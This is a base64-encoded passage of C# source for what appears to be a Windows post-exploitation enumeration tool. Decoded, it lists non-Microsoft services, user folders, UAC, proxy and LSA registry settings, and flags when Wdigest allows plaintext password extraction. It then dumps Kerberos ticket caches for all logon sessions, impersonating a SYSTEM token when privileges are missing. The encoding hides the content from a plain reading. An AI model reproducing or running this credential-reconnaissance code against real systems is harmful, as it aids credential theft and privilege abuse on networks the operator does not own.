uZygpLCAiQzpcXFxcV0lORE9XU1xcXFwiLCBSZWdleE9wdGlvbnMuSWdub3JlQ2FzZSkpKSkKICAgICAgICAgICAgICAgICAgICBpZiAocmVzdWx0WyJQYXRoTmFtZSJdICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXRjaCBwYXRoID0gUmVnZXguTWF0Y2gocmVzdWx0WyJQYXRoTmFtZSJdLlRvU3RyaW5nKCksIEAiXlxXKihbYS16XTpcXC4rPyhcLmV4ZXxcLmRsbHxcLnN5cykpXFcqIiwgUmVnZXhPcHRpb25zLklnbm9yZUNhc2UpOwogICAgICAgICAgICAgICAgICAgICAgICBTdHJpbmcgYmluYXJ5UGF0aCA9IHBhdGguR3JvdXBzWzFdLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIEZpbGVWZXJzaW9uSW5mbyBteUZpbGVWZXJzaW9uSW5mbyA9IEZpbGVWZXJzaW9uSW5mby5HZXRWZXJzaW9uSW5mbyhiaW5hcnlQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGNvbXBhbnlOYW1lID0gbXlGaWxlVmVyc2lvbkluZm8uQ29tcGFueU5hbWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoU3RyaW5nLklzTnVsbE9yRW1wdHkoY29tcGFueU5hbWUpKSB8fCAoIUZpbHRlclJlc3VsdHMuZmlsdGVyKSB8fCAoIVJlZ2V4LklzTWF0Y2goY29tcGFueU5hbWUsIEAiXk1pY3Jvc29mdC4qIiwgUmVnZXhPcHRpb25zLklnbm9yZUNhc2UpKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9vbCBpc0RvdE5ldCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXNzZW1ibHlOYW1lIG15QXNzZW1ibHlOYW1lID0gQXNzZW1ibHlOYW1lLkdldEFzc2VtYmx5TmFtZShiaW5hcnlQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpc0RvdE5ldCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRjaCAoU3lzdGVtLklPLkZpbGVOb3RGb3VuZEV4Y2VwdGlvbikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlRoZSBmaWxlIGNhbm5vdCBiZSBmb3VuZC4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhdGNoIChTeXN0ZW0uQmFkSW1hZ2VGb3JtYXRFeGNlcHRpb24gZXhjZXB0aW9uKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChSZWdleC5Jc01hdGNoKGV4Y2VwdGlvbi5NZXNzYWdlLCAiLipUaGlzIGFzc2VtYmx5IGlzIGJ1aWx0IGJ5IGEgcnVudGltZSBuZXdlciB0aGFuIHRoZSBjdXJyZW50bHkgbG9hZGVkIHJ1bnRpbWUgYW5kIGNhbm5vdCBiZSBsb2FkZWQuKiIsIFJlZ2V4T3B0aW9ucy5JZ25vcmVDYXNlKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlzRG90TmV0ID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRjaAogICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiVGhlIGFzc2VtYmx5IGhhcyBhbHJlYWR5IGJlZW4gbG9hZGVkLiIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIE5hbWUgICAgICAgICAgICAgOiB7MH0iLCByZXN1bHRbIk5hbWUiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBEaXNwbGF5TmFtZSAgICAgIDogezB9IiwgcmVzdWx0WyJEaXNwbGF5TmFtZSJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIENvbXBhbnkgTmFtZSAgICAgOiB7MH0iLCBjb21wYW55TmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBEZXNjcmlwdGlvbiAgICAgIDogezB9IiwgcmVzdWx0WyJEZXNjcmlwdGlvbiJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFN0YXRlICAgICAgICAgICAgOiB7MH0iLCByZXN1bHRbIlN0YXRlIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgU3RhcnRNb2RlICAgICAgICA6IHswfSIsIHJlc3VsdFsiU3RhcnRNb2RlIl0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgUGF0aE5hbWUgICAgICAgICA6IHswfSIsIHJlc3VsdFsiUGF0aE5hbWUiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBJc0RvdE5ldCAgICAgICAgIDogezB9XHJcbiIsIGlzRG90TmV0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RVc2VyRm9sZGVycygpCiAgICAgICAgewogICAgICAgICAgICAvLyBsaXN0cyB0aGUgZm9sZGVycyBpbiBDOlxVc2Vyc1wsIHNob3dpbmcgdXNlcnMgd2hvIGhhdmUgbG9nZ2VkIG9udG8gdGhlIHN5c3RlbQogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IFVzZXIgRm9sZGVycyA9PT1cclxuIik7CiAgICAgICAgICAgICAgICBzdHJpbmcgdXNlclBhdGggPSBTdHJpbmcuRm9ybWF0KCJ7MH1cXFVzZXJzXFwiLCBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJTeXN0ZW1Ecml2ZSIpKTsKCiAgICAgICAgICAgICAgICBzdHJpbmdbXSBkaXJzID0gRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKHVzZXJQYXRoKTsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0zNX0gICB7MX0iLCAiRm9sZGVyIiwgIkxhc3QgTW9kaWZpZWQgVGltZSIpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGRpciBpbiBkaXJzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGlmICghKGRpci5FbmRzV2l0aCgiUHVibGljIikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IikgfHwgZGlyLkVuZHNXaXRoKCJEZWZhdWx0IFVzZXIiKSB8fCBkaXIuRW5kc1dpdGgoIkFsbCBVc2VycyIpKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIERhdGVUaW1lIGR0ID0gRGlyZWN0b3J5LkdldExhc3RXcml0ZVRpbWUoZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTM1fSA6IHsxfSIsIGRpciwgZHQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RVQUNTeXN0ZW1Qb2xpY2llcygpCiAgICAgICAgewogICAgICAgICAgICAvLyBkdW1wIG91dCB2YXJpb3VzIFVBQyBzeXN0ZW0gcG9saWNpZXMKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IFVBQyBTeXN0ZW0gUG9saWNpZXMgPT09XHJcbiIpOwoKICAgICAgICAgICAgc3RyaW5nIENvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluID0gR2V0UmVnVmFsdWUoIkhLTE0iLCAiU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFBvbGljaWVzXFxTeXN0ZW0iLCAiQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4iKTsKICAgICAgICAgICAgc3dpdGNoIChDb25zZW50UHJvbXB0QmVoYXZpb3JBZG1pbikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgY2FzZSAiMCI6CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTMwfSA6IHsxfSAtIE5vIHByb21wdGluZyIsICJDb25zZW50UHJvbXB0QmVoYXZpb3JBZG1pbiIsIENvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIjEiOgogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0zMH0gOiB7MX0gLSBQcm9tcHRPblNlY3VyZURlc2t0b3AiLCAiQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4iLCBDb25zZW50UHJvbXB0QmVoYXZpb3JBZG1pbik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICIyIjoKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwtMzB9IDogezF9IC0gUHJvbXB0UGVybWl0RGVueU9uU2VjdXJlRGVza3RvcCIsICJDb25zZW50UHJvbXB0QmVoYXZpb3JBZG1pbiIsIENvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIjMiOgogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0zMH0gOiB7MX0gLSBQcm9tcHRGb3JDcmVkc05vdE9uU2VjdXJlRGVza3RvcCIsICJDb25zZW50UHJvbXB0QmVoYXZpb3JBZG1pbiIsIENvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIjQiOgogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0zMH0gOiB7MX0gLSBQcm9tcHRGb3JQZXJtaXREZW55Tm90T25TZWN1cmVEZXNrdG9wIiwgIkNvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluIiwgQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4pOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiNSI6CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTMwfSA6IHsxfSAtIFByb21wdEZvck5vbldpbmRvd3NCaW5hcmllcyIsICJDb25zZW50UHJvbXB0QmVoYXZpb3JBZG1pbiIsIENvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZ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KICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwzMH0gOiB7MX1cclxuIiwga3ZwLktleSwga3ZwLlZhbHVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RJbnRlcm5ldFNldHRpbmdzKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGxpc3RzIHVzZXIvc3lzdGVtIGludGVybmV0IHNldHRpbmdzLCBpbmNsdWRpbmcgZGVmYXVsdCBwcm94eSBpbmZvCgogICAgICAgICAgICBEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0PiBwcm94eVNldHRpbmdzID0gR2V0UmVnVmFsdWVzKCJIS0NVIiwgIlNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5ncyIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gSEtDVSBJbnRlcm5ldCBTZXR0aW5ncyA9PT1cclxuIik7CiAgICAgICAgICAgIGlmICgocHJveHlTZXR0aW5ncyAhPSBudWxsKSAmJiAocHJveHlTZXR0aW5ncy5Db3VudCAhPSAwKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoS2V5VmFsdWVQYWlyPHN0cmluZywgb2JqZWN0PiBrdnAgaW4gcHJveHlTZXR0aW5ncykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwzMH0gOiB7MX0iLCBrdnAuS2V5LCBrdnAuVmFsdWUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0PiBwcm94eVNldHRpbmdzMiA9IEdldFJlZ1ZhbHVlcygiSEtMTSIsICJTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcSW50ZXJuZXQgU2V0dGluZ3MiKTsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEhLTE0gSW50ZXJuZXQgU2V0dGluZ3MgPT09XHJcbiIpOwogICAgICAgICAgICBpZiAoKHByb3h5U2V0dGluZ3MyICE9IG51bGwpICYmIChwcm94eVNldHRpbmdzMi5Db3VudCAhPSAwKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoS2V5VmFsdWVQYWlyPHN0cmluZywgb2JqZWN0PiBrdnAgaW4gcHJveHlTZXR0aW5nczIpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsMzB9IDogezF9Iiwga3ZwLktleSwga3ZwLlZhbHVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RMU0FTZXR0aW5ncygpCiAgICAgICAgewogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gTFNBIFNldHRpbmdzID09PVxyXG4iKTsKICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4gc2V0dGluZ3MgPSBHZXRSZWdWYWx1ZXMoIkhLTE0iLCAiU1lTVEVNXFxDdXJyZW50Q29udHJvbFNldFxcQ29udHJvbFxcTHNhIik7CiAgICAgICAgICAgIGlmICgoc2V0dGluZ3MgIT0gbnVsbCkgJiYgKHNldHRpbmdzLkNvdW50ICE9IDApKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChLZXlWYWx1ZVBhaXI8c3RyaW5nLCBvYmplY3Q+IGt2cCBpbiBzZXR0aW5ncykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBpZiAoa3ZwLlZhbHVlLkdldFR5cGUoKS5Jc0FycmF5ICYmIChrdnAuVmFsdWUuR2V0VHlwZSgpLkdldEVsZW1lbnRUeXBlKCkuVG9TdHJpbmcoKSA9PSAiU3lzdGVtLlN0cmluZyIpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHJlc3VsdCA9IHN0cmluZy5Kb2luKCIsIiwgKHN0cmluZ1tdKWt2cC5WYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0zMH0gOiB7MX0iLCBrdnAuS2V5LCByZXN1bHQpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGt2cC5LZXkuVG9TdHJpbmcoKSA9PSAiU2VjdXJpdHkgUGFja2FnZXMiKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBSZWdleCByZWdleCA9IG5ldyBSZWdleChAIi4qd2RpZ2VzdC4qIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBNYXRjaCBtID0gcmVnZXguTWF0Y2gocmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChtLlN1Y2Nlc3MpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICBbKl0gV2RpZ2VzdCBpcyBlbmFibGVkLSBwbGFpbnRleHQgcGFzc3dvcmQgZXh0cmFjdGlvbiBpcyBwb3NzaWJsZSEiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwtMzB9IDogezF9Iiwga3ZwLktleSwga3ZwLlZhbHVlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0S2VyYmVyb3NUaWNrZXRzKCkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChJc0hpZ2hJbnRlZ3JpdHkoKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgTGlzdEtlcmJlcm9zVGlja2V0c0FsbFVzZXJzKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBMaXN0S2VyYmVyb3NUaWNrZXRzQ3VycmVudFVzZXIoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdEtlcmJlcm9zVGlja2V0c0FsbFVzZXJzKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGFkYXB0ZWQgcGFydGlhbGx5IGZyb20gVmluY2VudCBMRSBUT1VYJyB3b3JrCiAgICAgICAgICAgIC8vICAgICAgaHR0cHM6Ly9naXRodWIuY29tL3ZsZXRvdXgvTWFrZU1lRW50ZXJwcmlzZUFkbWluL2Jsb2IvbWFzdGVyL01ha2VNZUVudGVycHJpc2VBZG1pbi5wczEjTDI5MzktTDI5NTAKICAgICAgICAgICAgLy8gYW5kIGh0dHBzOi8vd3d3LmRyZWFtaW5jb2RlLm5ldC9mb3J1bXMvdG9waWMvMTM1MDMzLWluY3JlbWVudC1tZW1vcnktcG9pbnRlci1pc3N1ZS8KICAgICAgICAgICAgLy8gYWxzbyBKYXJlZCBBdGtpbnNvbidzIHdvcmsgYXQgaHR0cHM6Ly9naXRodWIuY29tL0ludm9rZS1JUi9BQ0UvYmxvYi9tYXN0ZXIvQUNFLU1hbmFnZW1lbnQvUFMtQUNFL1NjcmlwdHMvQUNFX0dldC1LZXJiZXJvc1RpY2tldENhY2hlLnBzMQoKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEtlcmJlcm9zIFRpY2tldHMgKEFsbCBVc2VycykgPT09XHJcbiIpOwoKICAgICAgICAgICAgSW50UHRyIGhMc2EgPSBMc2FSZWdpc3RlckxvZ29uUHJvY2Vzc0hlbHBlcigpOwogICAgICAgICAgICBpbnQgdG90YWxUaWNrZXRDb3VudCA9IDA7CgogICAgICAgICAgICAvLyBpZiB0aGUgb3JpZ2luYWwgY2FsbCBmYWlscyB0aGVuIGl0IGlzIGxpa2VseSB3ZSBkb24ndCBoYXZlIFNlVGNiUHJpdmlsZWdlCiAgICAgICAgICAgIC8vIHRvIGdldCBTZVRjYlByaXZpbGVnZSB3ZSBjYW4gSW1wZXJzb25hdGUgYSBOVCBBVVRIT1JJVFlcU1lTVEVNIFRva2VuCiAgICAgICAgICAgIGlmIChoTHNhID09IEludFB0ci5aZXJvKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBHZXRTeXN0ZW0oKTsKICAgICAgICAgICAgICAgIC8vIHNob3VsZCBub3cgaGF2ZSB0aGUgcHJvcGVyIHByaXZpbGVnZXMgdG8gZ2V0IGEgSGFuZGxlIHRvIExTQQogICAgICAgICAgICAgICAgaExzYSA9IExzYVJlZ2lzdGVyTG9nb25Qcm9jZXNzSGVscGVyKCk7CiAgICAgICAgICAgICAgICAvLyB3ZSBkb24ndCBuZWVkIG91ciBOVCBBVVRIT1JJVFlcU1lTVEVNIFRva2VuIGFueW1vcmUgc28gd2UgY2FuIHJldmVydCB0byBvdXIgb3JpZ2luYWwgdG9rZW4KICAgICAgICAgICAgICAgIFJldmVydFRvU2VsZigpOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgLy8gZmlyc3QgcmV0dXJuIGFsbCB0aGUgbG9nb24gc2Vzc2lvbnMKCiAgICAgICAgICAgICAgICBEYXRlVGltZSBzeXN0aW1lID0gbmV3IERhdGVUaW1lKDE2MDEsIDEsIDEsIDAsIDAsIDAsIDApOyAvL3dpbjMyIHN5c3RlbWRhdGUKICAgICAgICAgICAgICAgIFVJbnQ2NCBjb3VudDsKICAgICAgICAgICAgICAgIEludFB0ciBsdWlkUHRyID0gSW50UHRyLlplcm87CiAgICAgICAgICAgICAgICBJbnRQdHIgaXRlciA9IGx1aWRQdHI7CgogICAgICAgICAgICAgICAgdWludCByZXQgPSBMc2FFbnVtZXJhdGVMb2dvblNlc3Npb25zKG91dCBjb3VudCwgb3V0IGx1aWRQdHIpOyAgLy8gZ2V0IGFuIGFycmF5IG9mIHBvaW50ZXJzIHRvIExVSURzCgogICAgICAgICAgICAgICAgZm9yICh1bG9uZyBpID0gMDsgaSA8IGNvdW50OyBpKyspCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgSW50UHRyIHNlc3Npb25EYXRhOwogICAgICAgICAgICAgICAgICAgIHJldCA9IExzYUdldExvZ29uU2Vzc2lvbkRhdGEobHVpZFB0ciwgb3V0IHNlc3Npb25EYXRhKTsKICAgICAgICAgICAgICAgICAgICBTRUNVUklUWV9MT0dPTl9TRVNTSU9OX0RBVEEgZGF0YSA9IChTRUNVUklUWV9MT0dPTl9TRVNTSU9OX0RBVEEpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShzZXNzaW9uRGF0YSwgdHlwZW9mKFNFQ1VSSVRZX0xPR09OX1NFU1NJT05fREFUQSkpOwoKICAgICAgICAgICAgICAgICAgICAvLyBpZiB3ZSBoYXZlIGEgdmFsaWQgbG9nb24KICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5QU2lEICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gdXNlciBzZXNzaW9uIGRhdGEKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJuYW1lID0gTWFyc2hhbC5Qd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F0YS5VcG4uQnVmZmVyKS5UcmltKCk7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBub3cgd2Ugd2FudCB0byBnZXQgdGhlIHRpY2tldHMgZm9yIHRoaXMgbG9nb24gSUQKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIG5hbWUgPSAia2VyYmVyb3MiOwogICAgICAgICAgICAgICAgICAgICAgICBMU0FfU1RSSU5HX0lOIExTQVN0cmluZzsKICAgICAgICAgICAgICAgICAgICAgICAgTFNBU3RyaW5nLkxlbmd0aCA9ICh1c2hvcnQpbmFtZS5MZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIExTQVN0cmluZy5NYXhpbXVtTGVuZ3RoID0gKHVzaG9ydCkobmFtZS5MZW5ndGggKyAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgTFNBU3RyaW5nLkJ1ZmZlciA9IG5hbWU7CgogICAgICAgICAgICAgICAgICAgICAgICBJbnRQdHIgdGlja2V0UG9pbnRlciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgICAgICAgICBJbnRQdHIgdGlja2V0c1BvaW50ZXIgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgc3lzVGltZSA9IG5ldyBEYXRlVGltZSgxNjAxLCAxLCAxLCAwLCAwLCAwLCAwKTsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGF1dGhQYWNrOwogICAgICAgICAgICAgICAgICAgICAgICBpbnQgcmV0dXJuQnVmZmVyTGVuZ3RoID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IHByb3RvY2FsU3RhdHVzID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IHJldENvZGU7CgogICAgICAgICAgICAgICAgICAgICAgICBLRVJCX1FVRVJZX1RLVF9DQUNIRV9SRVFVRVNUIHRRdWVyeSA9IG5ldyBLRVJCX1FVRVJZX1RLVF9DQUNIRV9SRVFVRVNUKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIEtFUkJfUVVFUllfVEtUX0NBQ0hFX1JFU1BPTlNFIHRpY2tldHMgPSBuZXcgS0VSQl9RVUVSWV9US1RfQ0FDSEVfUkVTUE9OU0UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgS0VSQl9USUNLRVRfQ0FDSEVfSU5GTyB0aWNrZXQ7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBvYnRhaW5zIHRoZSB1bmlxdWUgaWRlbnRpZmllciBmb3IgdGhlIGtlcmJlcm9zIGF1dGhlbnRpY2F0aW9uIHBhY2thZ2UuCiAgICAgICAgICAgICAgICAgICAgICAgIHJldENvZGUgPSBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UoaExzYSwgcmVmIExTQVN0cmluZywgb3V0IGF1dGhQYWNrKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIGlucHV0IG9iamVjdCBmb3IgcXVlcnlpbmcgdGhlIHRpY2tldCBjYWNoZSBmb3IgYSBzcGVjaWZpYyBsb2dvbiBJRAogICAgICAgICAgICAgICAgICAgICAgICBMVUlEIHVzZXJMb2dvbklEID0gbmV3IExVSUQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdXNlckxvZ29uSUQuTG93UGFydCA9IGRhdGEuTG9naW5JRC5Mb3dQYXJ0OwogICAgICAgICAgICAgICAgICAgICAgICB1c2VyTG9nb25JRC5IaWdoUGFydCA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIHRRdWVyeS5Mb2dvbklkID0gdXNlckxvZ29uSUQ7CiAgICAgICAgICAgICAgICAgICAgICAgIHRRdWVyeS5NZXNzYWdlVHlwZSA9IEtFUkJfUFJPVE9DT0xfTUVTU0FHRV9UWVBFLktlcmJRdWVyeVRpY2tldENhY2hlTWVzc2FnZTsKCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIHF1ZXJ5IExTQSwgc3BlY2lmeWluZyB3ZSB3YW50IHRoZSB0aWNrZXQgY2FjaGUKICAgICAgICAgICAgICAgICAgICAgICAgcmV0Q29kZSA9IExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UoaExzYSwgYXV0aFBhY2ssIHJlZiB0UXVlcnksIE1hcnNoYWwuU2l6ZU9mKHRRdWVyeSksIG91dCB0aWNrZXRQb2ludGVyLCBvdXQgcmV0dXJuQnVmZmVyTGVuZ3RoLCBvdXQgcHJvdG9jYWxTdGF0dXMpOwoKICAgICAg